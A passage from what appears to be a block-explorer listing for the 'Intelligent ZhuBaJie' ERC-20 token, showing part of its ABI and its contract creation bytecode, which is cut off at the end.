{"indexed":false,"internalType":"uint256","name":"newAmt","type":"uint256"}],"name":"UpdatedSellTax","type":"event"},{"inputs":[],"name":"FEE_DIVISOR","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"WETH","outputs":[{"internalType":"contract IWETH","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"wallets","type":"address[]"},{"internalType":"uint256[]","name":"amountsInWei","type":"uint256[]"}],"name":"airdropToWallets","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyLiquidityTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyOperationsTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyPrizeTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"dexRouter","outputs":[{"internalType":"contract IDexRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"disableTransferDelay","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"eth","outputs":[{"internalType":"contract IERC20Metadata","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"exemptFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"exemptFromLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"increaseMaxTxnSetAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"increaseMaxTxnToMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isAMMPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransaction","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"},{"internalType":"address","name":"_to","type":"address"}],"name":"rescueTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellBurnTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellLiquidityTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellOperationsTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellPrizeTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_isExempt","type":"bool"}],"name":"setExemptFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_isExempt","type":"bool"}],"name":"setExemptFromLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapTokensAtAmt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForOperations","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForPrize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_operationsTax","type":"uint256"},{"internalType":"uint256","name":"_liquidityTax","type":"uint256"},{"internalType":"uint256","name":"_prizeTax","type":"uint256"}],"name":"updateBuyTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNumInTokens","type":"uint256"}],"name":"updateMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNumInTokens","type":"uint256"}],"name":"updateMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_operationsTax","type":"uint256"},{"internalType":"uint256","name":"_liquidityTax","type":"uint256"},{"internalType":"uint256","name":"_prizeTax","type":"uint256"}],"name":"updateSellTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"updatemarketingAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052601a805461ffff19166101011790553480156200002057600080fd5b5060405162003375380380620033758339810160408190526200004391620008ce565b6040518060400160405280601481526020017f496e74656c6c6967656e74205a687542614a6965000000000000000000000000815250604051806040016040528060088152602001675a485542414a494560c01b8152508160039081620000ab9190620009aa565b506004620000ba8282620009aa565b5050506000620000cf6200064560201b60201c565b600580546001600160a01b0319166001600160a01b038316908117909155604051919250906000907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35062000135336b02df458b2c635dcf55e0000062000649565b60006200014160025490565b90506000466001036200016a5750737a250d5630b4cf539739df2c5dacb4c659f2488d62000227565b466005036200018f5750737a250d5630b4cf539739df2c5dacb4c659f2488d62000227565b46606103620001b4575073d99d1c33f9fc3444f8101754abc46c52416550d162000227565b4661a4b103620001da5750731b02da8cb0d097eb8d57a175b88c7d8b4799750662000227565b60405162461bcd60e51b815260206004820152601460248201527f436861696e206e6f7420636f6e6669677572656400000000000000000000000060448201526064015b60405180910390fd5b601d80546001600160a01b0319166001600160a01b03831617905560646200025183600262000a8c565b6200025d919062000aa6565b600a5560646200026f83600262000a8c565b6200027b919062000aa6565b600b55620186a06200028f83601962000a8c565b6200029b919062000aa6565b601b55600c80546001600160a01b0319166001600160a01b0386161790556000600e819055600f8190556010819055620002d6818062000ac9565b620002e2919062000ac9565b600d55600060128190556013819055601481905562000302818062000ac9565b6200030e919062000ac9565b601155601d546040805163c45a015560e01b815290516001600160a01b039092169163c45a0155916004808201926020929091908290030181865afa1580156200035c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000382919062000adf565b6001600160a01b031663c9c6539630601d60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620003e5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200040b919062000adf565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000459573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200047f919062000adf565b601c80546001600160a01b0319166001600160a01b03929092169182179055620004b49084620004ae60025490565b6200070c565b601d60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000508573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200052e919062000adf565b601f80546001600160a01b0319166001600160a01b03928316179055601c805482166000908152600960209081526040808320805460ff199081166001908117909255945486168452600783528184208054861682179055338085528285208054871683179055308086528386208054881684179055600c8054891687528487208054891685179055601d80548a16885285882080548a16861790558388526006909652848720805489168517905590865283862080548816841790555487168552828520805487168317905583548716855291909320805490941690921790925590546200061f92168462000757565b601d546200063b9030906001600160a01b031660001962000757565b5050505062000b04565b3390565b6001600160a01b038216620006a15760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064016200021e565b8060026000828254620006b5919062000ac9565b90915550506001600160a01b038216600081815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b60006200071a848462000884565b9050600019811462000751576001600160a01b03808516600090815260016020908152604080832093871683529290522060001990555b50505050565b6001600160a01b038316620007bb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016200021e565b6001600160a01b0382166200081e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016200021e565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b505050565b6001600160a01b038083166000908152600160209081526040808320938516835292905220545b92915050565b80516001600160a01b0381168114620008c957600080fd5b919050565b60008060408385031215620008e257600080fd5b620008ed83620008b1565b9150620008fd60208401620008b1565b90509250929050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200093157607f821691505b6020821081036200095257634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200087f57600081815260208120601f850160051c81016020861015620009815750805b601f850160051c820191505b81811015620009a2578281556001016200098d565b505050505050565b81516001600160401b03811115620009c657620009c662000906565b620009de81620009d784546200091c565b8462000958565b602080601f83116001811462000a165760008415620009fd5750858301515b600019600386901b1c1916600185901b178555620009a2565b600085815260208120601f198616915b8281101562000a475788860151825594840194600190910190840162000a26565b508582101562000a665787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b8082028115828204841417620008ab57620008ab62000a76565b60008262000ac457634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115620008ab57620008ab62000a76565b60006020828403121562000af257600080fd5b62000afd82620008b1565b9392505050565b6128618062000b146000396000f3fe6080604052600436106103395760003560e01c806377b27d1f116101ab578063b0249cc6116100f7578063dd62ed3e11610095578063f2fde38b1161006f578063f2fde38b1461091e578063f8b45b051461093e578063fb002c9714610954578063fb591a141461096a57600080fd5b8063dd62ed3e146108d3578063e27a55fe146108f3578063e884f2601461090957600080fd5b8063c43c0f58116100d1578063c43c0f5814610877578063c78d0fa01461088d578063c876d0b9146108a3578063d1d13835146108bd57600080fd5b8063b0249cc614610817578063bbc0c74214610847578063c3f70b521461086157600080fd5b80639e93ad8e11610164578063a2cbba281161013e578063a2cbba28146107a1578063a457c2d7146107b7578063a9059cbb146107d7578063ad5c4648146107f757600080fd5b80639e93ad8e1461074b578063a0a485ca14610761578063a13d1a2b1461078157600080fd5b806377b27d1f146106935780638a8c523c146106b35780638c7c9e0c146106c85780638d3e6e40146106e85780638da5cb5b1461071857806395d89b411461073657600080fd5b806339509351116102855780635ec13e45116102235780636ab91206116101fd5780636ab912061461061d57806370a0823114610633578063715018a614610669578063751039fc1461067e57600080fd5b80635ec13e45146105dc5780636161b881146105f257806366cdc1de1461060757600080fd5b80634a62bb651161025f5780634a62bb65146105575780635431c94e146105765780635a90a49e146105965780635df6e68e146105c657600080fd5b80633950935114610501578063441f078a14610521578063452ed4f11461053757600080fd5b80631a8145bb116102f25780631f48e768116102cc5780631f48e768146104855780632307b441146104a557806323b872dd146104c5578063313ce567146104e557600080fd5b80631a8145bb146104395780631c499ab01461044f5780631f3ecf651461046f57600080fd5b80630517d13d1461034557806305f936501461036757806306fdde03146103875780630758d924146103b2578063095ea7b3146103ea57806318160ddd1461041a57600080fd5b3661034057005b600080fd5b34801561035157600080fd5b50610365610360366004612360565b61097f565b005b34801561037357600080fd5b50610365610382366004612379565b610a74565b34801561039357600080fd5b5061039c610b4c565b6040516103a991906123c9565b60405180910390f35b3480156103be57600080fd5b50601d546103d2906001600160a01b031681565b6040516001600160a01b0390911681526020016103a9565b3480156103f657600080fd5b5061040a610405366004612418565b610bde565b60405190151581526020016103a9565b34801561042657600080fd5b506002545b6040519081526020016103a9565b34801561044557600080fd5b5061042b60175481565b34801561045b57600080fd5b5061036561046a366004612360565b610bf8565b34801561047b57600080fd5b5061042b60155481565b34801561049157600080fd5b506103656104a0366004612442565b610cdc565b3480156104b157600080fd5b506103656104c03660046124b0565b610d6d565b3480156104d157600080fd5b5061040a6104e036600461251c565b610e4c565b3480156104f157600080fd5b50604051601281526020016103a9565b34801561050d57600080fd5b5061040a61051c366004612418565b610e70565b34801561052d57600080fd5b5061042b60145481565b34801561054357600080fd5b50601c546103d2906001600160a01b031681565b34801561056357600080fd5b50601a5461040a90610100900460ff1681565b34801561058257600080fd5b50610365610591366004612558565b610e92565b3480156105a257600080fd5b5061040a6105b1366004612442565b60066020526000908152604090205460ff1681565b3480156105d257600080fd5b5061042b600d5481565b3480156105e857600080fd5b5061042b600e5481565b3480156105fe57600080fd5b50610365610f8f565b34801561061357600080fd5b5061042b60105481565b34801561062957600080fd5b5061042b60135481565b34801561063f57600080fd5b5061042b61064e366004612442565b6001600160a01b031660009081526020819052604090205490565b34801561067557600080fd5b50610365610fc1565b34801561068a57600080fd5b50610365611035565b34801561069f57600080fd5b506103656106ae36600461259c565b6110a1565b3480156106bf57600080fd5b50610365611174565b3480156106d457600080fd5b50601e546103d2906001600160a01b031681565b3480156106f457600080fd5b5061040a610703366004612442565b60076020526000908152604090205460ff1681565b34801561072457600080fd5b506005546001600160a01b03166103d2565b34801561074257600080fd5b5061039c6111ad565b34801561075757600080fd5b5061042b61271081565b34801561076d57600080fd5b5061036561077c366004612379565b6111bc565b34801561078d57600080fd5b5061036561079c36600461259c565b611287565b3480156107ad57600080fd5b5061042b600f5481565b3480156107c357600080fd5b5061040a6107d2366004612418565b6113aa565b3480156107e357600080fd5b5061040a6107f2366004612418565b611425565b34801561080357600080fd5b50601f546103d2906001600160a01b031681565b34801561082357600080fd5b5061040a610832366004612442565b60096020526000908152604090205460ff1681565b34801561085357600080fd5b5060085461040a9060ff1681565b34801561086d57600080fd5b5061042b600a5481565b34801561088357600080fd5b5061042b60125481565b34801561089957600080fd5b5061042b601b5481565b3480156108af57600080fd5b50601a5461040a9060ff1681565b3480156108c957600080fd5b5061042b60185481565b3480156108df57600080fd5b5061042b6108ee366004612558565b611433565b3480156108ff57600080fd5b5061042b60115481565b34801561091557600080fd5b5061036561145e565b34801561092a57600080fd5b50610365610939366004612442565b611494565b34801561094a57600080fd5b5061042b600b5481565b34801561096057600080fd5b5061042b60165481565b34801561097657600080fd5b5061036561157f565b6005546001600160a01b031633146109b25760405162461bcd60e51b81526004016109a9906125d3565b60405180910390fd5b6109be6012600a612702565b6103e86109ca60025490565b6109d5906005612711565b6109df9190612728565b6109e99190612728565b811015610a225760405162461bcd60e51b8152602060048201526007602482015266546f6f206c6f7760c81b60448201526064016109a9565b610a2e6012600a612702565b610a389082612711565b600a8190556040519081527f76a9278644b7300961aa0e7e86f10934585987f1daf1c6ecc971c18376691574906020015b60405180910390a150565b6005546001600160a01b03163314610a9e5760405162461bcd60e51b81526004016109a9906125d3565b60128390556013829055601481905580610ab8838561274a565b610ac2919061274a565b60118190556101f31015610b0c5760405162461bcd60e51b81526020600482015260116024820152704b656570207461782062656c6f7720352560781b60448201526064016109a9565b7fa02824f65350567bc405e202b741e7ca6274004a9feeb44149df72b8bd599c97601154604051610b3f91815260200190565b60405180910390a1505050565b606060038054610b5b9061275d565b80601f0160208091040260200160405190810160405280929190818152602001828054610b879061275d565b8015610bd45780601f10610ba957610100808354040283529160200191610bd4565b820191906000526020600020905b815481529060010190602001808311610bb757829003601f168201915b5050505050905090565b600033610bec8185856115cf565b60019150505b92915050565b6005546001600160a01b03163314610c225760405162461bcd60e51b81526004016109a9906125d3565b610c2e6012600a612702565b6064610c3960025490565b610c44906001612711565b610c4e9190612728565b610c589190612728565b811015610c915760405162461bcd60e51b8152602060048201526007602482015266546f6f206c6f7760c81b60448201526064016109a9565b610c9d6012600a612702565b610ca79082612711565b600b8190556040519081527f3046ad62de8b70d396246aaed19ff2559ff20df8706520cbde58320766c4276290602001610a69565b6005546001600160a01b03163314610d065760405162461bcd60e51b81526004016109a9906125d3565b6001600160a01b038116610d4b5760405162461bcd60e51b815260206004820152600c60248201526b7a65726f206164647265737360a01b60448201526064016109a9565b600c80546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b03163314610d975760405162461bcd60e51b81526004016109a9906125d3565b828114610ddf5760405162461bcd60e51b81526020600482015260166024820152750c2e4e4c2f2e640d8cadccee8d040dad2e6dac2e8c6d60531b60448201526064016109a9565b60005b83811015610e4557610e3333868684818110610e0057610e00612797565b9050602002016020810190610e159190612442565b858585818110610e2757610e27612797565b905060200201356116f3565b80610e3d816127ad565b915050610de2565b5050505050565b600033610e5a858285611899565b610e6585858561190d565b506001949350505050565b600033610bec818585610e838383611433565b610e8d919061274a565b6115cf565b6005546001600160a01b03163314610ebc5760405162461bcd60e51b81526004016109a9906125d3565b6001600160a01b038216610f125760405162461bcd60e51b815260206004820152601a60248201527f5f746f6b656e20616464726573732063616e6e6f74206265203000000000000060448201526064016109a9565b6040516370a0823160e01b81523060048201526000906001600160a01b038416906370a0823190602401602060405180830381865afa158015610f59573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f7d91906127c6565b9050610f8a838383611982565b505050565b6005546001600160a01b03163314610fb95760405162461bcd60e51b81526004016109a9906125d3565b600b54600a55565b6005546001600160a01b03163314610feb5760405162461bcd60e51b81526004016109a9906125d3565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6005546001600160a01b0316331461105f5760405162461bcd60e51b81526004016109a9906125d3565b601a805461ffff19169055600254600a55600254600b556040517fa4ffae85e880608d5d4365c2b682786545d136145537788e7e0940dff9f0b98c90600090a1565b6005546001600160a01b031633146110cb5760405162461bcd60e51b81526004016109a9906125d3565b6001600160a01b0382166111105760405162461bcd60e51b815260206004820152600c60248201526b5a65726f204164647265737360a01b60448201526064016109a9565b6001600160a01b038216600081815260066020908152604091829020805460ff19168515159081179091558251938452908301527f998cce27cbf44405c67eb636a634d5e2f2e6ff248b3d71fbbbb022f3c4c6dd2d91015b60405180910390a15050565b6005546001600160a01b0316331461119e5760405162461bcd60e51b81526004016109a9906125d3565b6008805460ff19166001179055565b606060048054610b5b9061275d565b6005546001600160a01b031633146111e65760405162461bcd60e51b81526004016109a9906125d3565b600e839055600f829055601081905580611200838561274a565b61120a919061274a565b600d8190556101f310156112545760405162461bcd60e51b81526020600482015260116024820152704b656570207461782062656c6f7720352560781b60448201526064016109a9565b7f5380a61520019ce8270d583f62f1b2b9f4f4372e1acaaf708f4865cecece0508600d54604051610b3f91815260200190565b6005546001600160a01b031633146112b15760405162461bcd60e51b81526004016109a9906125d3565b6001600160a01b0382166112f65760405162461bcd60e51b815260206004820152600c60248201526b5a65726f204164647265737360a01b60448201526064016109a9565b8061134e57601c546001600160a01b039081169083160361134e5760405162461bcd60e51b815260206004820152601260248201527121b0b73737ba103932b6b7bb32903830b4b960711b60448201526064016109a9565b6001600160a01b038216600081815260076020908152604091829020805460ff19168515159081179091558251938452908301527f8f9f40630a1d139e6cf69b4f447ca47a36f10a017524efaa38252e516fa227ce9101611168565b600033816113b88286611433565b9050838110156114185760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016109a9565b610e6582868684036115cf565b600033610bec81858561190d565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6005546001600160a01b031633146114885760405162461bcd60e51b81526004016109a9906125d3565b601a805460ff19169055565b6005546001600160a01b031633146114be5760405162461bcd60e51b81526004016109a9906125d3565b6001600160a01b0381166115235760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016109a9565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b031633146115a95760405162461bcd60e51b81526004016109a9906125d3565b6103e86115b560025490565b6115c0906005612711565b6115ca9190612728565b600a55565b6001600160a01b0383166116315760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016109a9565b6001600160a01b0382166116925760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016109a9565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166117575760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016109a9565b6001600160a01b0382166117b95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016109a9565b6001600160a01b038316600090815260208190526040902054818110156118315760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016109a9565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35b50505050565b60006118a58484611433565b9050600019811461189357818110156119005760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016109a9565b61189384848484036115cf565b6119188383836119d4565b6001600160a01b03831660009081526006602052604090205460ff1615801561195a57506001600160a01b03821660009081526006602052604090205460ff16155b156119775761196a838383611d45565b61197490826127df565b90505b610f8a8383836116f3565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052610f8a908490611f62565b6001600160a01b03831660009081526006602052604090205460ff16158015611a1657506001600160a01b03821660009081526006602052604090205460ff16155b15611a625760085460ff16611a625760405162461bcd60e51b815260206004820152601260248201527154726164696e67206e6f742061637469766560701b60448201526064016109a9565b601a54610100900460ff1615610f8a57601a5460ff1615611b5f57601d546001600160a01b03838116911614801590611ab457506001600160a01b03821660009081526009602052604090205460ff16155b15611b5f573260009081526019602052604090205443118015611aee57506001600160a01b03821660009081526019602052604090205443115b611b3a5760405162461bcd60e51b815260206004820152601760248201527f5472616e736665722044656c617920656e61626c65642e00000000000000000060448201526064016109a9565b3260009081526019602052604080822043908190556001600160a01b03851683529120555b6001600160a01b03831660009081526009602052604090205460ff168015611ba057506001600160a01b03821660009081526007602052604090205460ff16155b15611c6c57600a54811115611bf75760405162461bcd60e51b815260206004820152601d60248201527f427579207472616e7366657220616d6f756e742065786365656465642e00000060448201526064016109a9565b600b546001600160a01b0383166000908152602081905260409020545b611c1e908361274a565b1115610f8a5760405162461bcd60e51b815260206004820152601b60248201527f556e61626c6520746f20657863656564204d61782057616c6c6574000000000060448201526064016109a9565b6001600160a01b03821660009081526009602052604090205460ff168015611cad57506001600160a01b03831660009081526007602052604090205460ff16155b15611d0457600a54811115610f8a5760405162461bcd60e51b815260206004820152601e60248201527f53656c6c207472616e7366657220616d6f756e742065786365656465642e000060448201526064016109a9565b6001600160a01b03821660009081526007602052604090205460ff16610f8a57600b546001600160a01b038316600090815260208190526040902054611c14565b3060009081526020819052601a5462010000900460ff16611d8857601a805462ff0000191662010000179055611d7b8484612034565b601a805462ff0000191690555b6001600160a01b03831660009081526009602052604081205460ff168015611db257506000601154115b15611e6b5761271060115484611dc89190612711565b611dd29190612728565b905060115460135482611de59190612711565b611def9190612728565b60176000828254611e00919061274a565b9091555050601154601254611e159083612711565b611e1f9190612728565b60166000828254611e30919061274a565b9091555050601154601454611e459083612711565b611e4f9190612728565b60186000828254611e60919061274a565b90915550611f499050565b6001600160a01b03851660009081526009602052604090205460ff168015611e9557506000600d54115b15611f4957612710600d5484611eab9190612711565b611eb59190612728565b9050600d54600e5482611ec89190612711565b611ed29190612728565b60166000828254611ee3919061274a565b9091555050600d54600f54611ef89083612711565b611f029190612728565b60176000828254611f13919061274a565b9091555050600d54601054611f289083612711565b611f329190612728565b60186000828254611f43919061274a565b90915550505b8015611f5a57611f5a8530836116f3565b949350505050565b6000611fb7826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b031661223d9092919063ffffffff16565b805190915015610f8a5780806020019051810190611fd591906127f2565b610f8a5760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b60648201526084016109a9565b306000908152602081905260408120549050600060185460165460175461205b919061274a565b612065919061274a565b9050601b5460286120769190612711565b82111561208e57601b5461208b906028612711565b91505b6017541561215157600081601754846120a79190612711565b6120b19190612728565b601c549091506120cc9030906001600160a01b0316836116f3565b601c60009054906101000a90046001600160a01b03166001600160a01b031663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561211c57600080fd5b505af192505050801561212d575060015b5061213881846127df565b92506017548261214891906127df565b60006017559150505b600c546040516bffffffffffffffffffffffff19606087811b8216602084015286901b16603482015247916000916001600160a01b0390911690839060480160408051601f19818403018152908290526121aa9161280f565b60006040518083038185875af1925050503d80600081146121e7576040519150601f19603f3d011682016040523d82523d6000602084013e6121ec565b606091505b505080915050806122305760405162461bcd60e51b815260206004820152600e60248201526d1cdd58d8d95cdcc819985a5b195960921b60448201526064016109a9565b5050600060185550505050565b6060611f5a848460008585600080866001600160a01b03168587604051612264919061280f565b60006040518083038185875af1925050503d80600081146122a1576040519150601f19603f3d011682016040523d82523d6000602084013e6122a6565b606091505b50915091506122b7878383876122c2565b979650505050505050565b6060831561233157825160000361232a576001600160a01b0385163b61232a5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000060448201526064016109a9565b5081611f5a565b611f5a83838151156123465781518083602001fd5b8060405162461bcd60e51b81526004016109a991906123c9565b60006020828403121561237257600080fd5b5035919050565b60008060006060848603121561238e57600080fd5b505081359360208301359350604090920135919050565b60005b838110156123c05781810151838201526020016123a8565b50506000910152565b60208152600082518060208401526123e88160408501602087016123a5565b601f01601f19169190910160400192915050565b80356001600160a01b038116811461241357600080fd5b919050565b6000806040838503121561242b57600080fd5b612434836123fc565b946020939093013593505050565b60006020828403121561245457600080fd5b61245d826123fc565b9392505050565b60008083601f84011261247657600080fd5b50813567fffffffffff